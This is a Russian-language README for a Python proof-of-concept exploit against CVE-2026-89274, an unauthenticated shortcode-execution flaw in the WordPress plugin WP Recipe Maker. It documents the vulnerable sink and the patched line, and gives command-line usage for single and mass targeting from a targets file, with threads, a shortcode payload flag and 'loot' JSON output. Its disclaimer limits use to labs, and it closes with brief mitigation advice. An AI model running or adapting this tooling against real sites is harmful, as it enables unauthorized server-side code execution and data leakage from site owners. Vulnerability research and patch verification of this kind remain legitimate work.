
Python PoC-эксплойт для CVE-2026-89274 — уязвимости неаутентифицированного выполнения произвольных шорткодов в WordPress WP Recipe Maker <= 10.8.1 через комментарии к рецептам.
Poloss : @WPEF0
Proof-of-Concept эксплойт для CVE-2026-89274 — уязвимость Unauthenticated Arbitrary Shortcode Execution в плагине WordPress WP Recipe Maker версии ≤ 10.8.1.
⚠️ ПРАВОВОЕ И ЭТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ Этот скрипт предоставлен исключительно для исследований в области безопасности в локальной среде (localhost/lab) и не должен использоваться против систем, которые вам не принадлежат, или без письменного разрешения. Автор не несёт ответственности за неправомерное использование. Использование против систем третьих лиц без авторизации может нарушать уголовное законодательство.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-89274 |
| Цель | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Класс | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Вектор | Содержимое комментария к рецепту (unauthenticated) |
| Sink | do_shortcode() в class-wprm-metadata.php |
| Воздействие | Выполнение shortcode на стороне сервера → утечка данных через публичный JSON-LD |
| Автор | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Уязвимая версия (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() выполняет shortcode первым, а затем strip_shortcodes() лишь очищает его вывод — защиты нет вообще.
Исправленная версия (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (публичный комментарий к посту с рецептом)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK ВЫПОЛНЕНИЯ
└─> wp_json_encode() в <script type="application/ld+json">
wprm-comment-rating (заполняется через форму комментария).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Внешних зависимостей нет — только стандартная библиотека Python 3.
Требования: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Формат targets.txt (по одной на строку, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# строки-комментарии игнорируются
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Флаг | По умолчанию | Описание |
|---|---|---|
-u, --url | — | URL одиночной цели |
-f, --file | — | Файл со списком целей (url[,post_id] на строку) |
-p, --post | 10 | ID поста, содержащего рецепт |
-t, --threads | 5 | Количество рабочих потоков |
-o, --output | cve-2026-89274-loot.json | Файл вывода JSON |
--shortcode | [wprm-recipe-name id=11] | Выполняемый payload shortcode |
--marker | PoC Recipe | Подстрока для подтверждения выполнения в reviewBody |
--rating | 5 | Значение рейтинга WPRM |
--timeout | 25 | Таймаут на запрос (секунды) |
<script type="application/ld+json">, сбор reviewBody./wp-comments-post.php с payload + поле wprm-comment-rating.--marker появляется в reviewBody → EXPLOITED. Если нет → PENDING_APPROVAL.| Статус | Значение |
|---|---|
EXPLOITED | Shortcode выполнен, вывод утёк в публичный JSON-LD |
PENDING_APPROVAL | Комментарий отправлен, ожидает одобрения модератора |
FAIL | Страница недоступна / комментарий отклонён / ошибка |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 и строго проверяйте комментарии.[...]) в полях комментариев..
├── CVE-2026-89274.py # основной эксплойт
└── README.md # этот документ